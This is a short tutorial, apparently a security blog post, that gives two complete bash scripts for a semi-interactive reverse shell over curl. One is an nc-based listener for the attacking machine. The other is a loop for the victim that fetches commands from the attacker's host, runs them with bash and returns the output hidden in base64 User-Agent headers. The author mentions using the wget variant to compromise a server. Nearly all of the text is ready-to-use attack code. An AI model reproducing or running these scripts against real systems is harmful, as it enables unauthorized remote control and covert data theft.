Constructing a semi-interactive reverse shell with curl
Introduction
Some time ago, I presented an article on constructing a semi interactive reverse shell with wget which I used to compromise a very old server. In this article, I present the curl
version of this reverse shell, involving some small changes. The basic concepts of this type of reverse shell are explained more in depth in the article constructing a semi interactive reverse shell with wget. In this article I will focus on the changes necessary to adapt the wget
reverse shell to curl
.
Listenner on the attacking machine
You must run this listenner on your attack machine. When you send the payload to the target machine, it will connect to you and you will get a semi-interactive shell thanks to this script.
#!/usr/bin/env bash
CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081
#===============================================================================
log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
remote_exec(){
local CMD="${1}"
echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
echo "${RESULT}"
}
wait_for_connection(){
log "Waiting for incomming curl connection ..."
local challenge="$(cat /dev/urandom | xxd -p | head -c 16)"
local challenge_solved="$(echo "${challenge}" | base64 -w0)"
waiting=1
while [[ ${waiting} == 1 ]]; do
local response="$(remote_exec "echo ${challenge} | base64 -w0")"
if [[ $(echo "${response}" | grep "${challenge_solved}" | wc -l) -ne 0 ]]; then
log "Validated ! proof : base64(${challenge})==${response}"
waiting=0
else
echo "${response}"
fi
done
info "Connected ! (interactive shell incomming)"
}
get_sys_info(){
echo ""
echo " Hostname : $(remote_exec "hostname")"
echo " Kernel : $(remote_exec "uname -sr")"
echo " Arch : $(remote_exec "uname -p")"
echo ""
}
#===============================================================================
wait_for_connection
# get_sys_info
PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "
RUNNING=1
while [[ $RUNNING == 1 ]]; do
printf "${PROMPT}"; read
if [[ "${REPLY}" == "exit" ]]; then
echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RUNNING=0
else
echo "$(remote_exec "${REPLY}")"
fi
done
Reverse shell on the target machine
On the victim machine, we only need the curl
and base64
binaries, and this simple bash script:
#!/usr/bin/env bash
REV_IP='localhost'
CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081
#===============================================================================
RUNNING=1
while [[ $RUNNING == 1 ]]; do
CMD=$(curl -s "http://${REV_IP}:${CMD_RECV_PORT}" --raw --http0.9 2>/dev/null)
if [[ ${CMD} != "" ]]; then
if [[ ${CMD} == "exit" ]]; then
RUNNING=0
else
sleep 0.125
curl -s \
"http://${REV_IP}:${CMD_REPLY_PORT}" \
--raw --http0.9 \
--user-agent "$(bash -c "${CMD}" 2>&1 | base64 -w0)"\
2>/dev/null
fi
fi
done